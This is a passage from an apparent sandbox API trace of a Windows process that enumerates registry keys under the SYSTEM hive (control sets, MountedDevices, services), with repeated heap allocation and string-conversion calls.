| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.052] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.053] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.053] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.053] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.053] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.054] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.054] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.054] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.054] RegCloseKey (hKey=0x150) returned 0x0 [0239.054] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.055] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.055] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.055] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.056] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.056] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.056] RegCloseKey (hKey=0x14c) returned 0x0 [0239.056] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.056] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1928, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.057] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.057] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1928, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.057] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.057] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1928, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.058] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.058] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 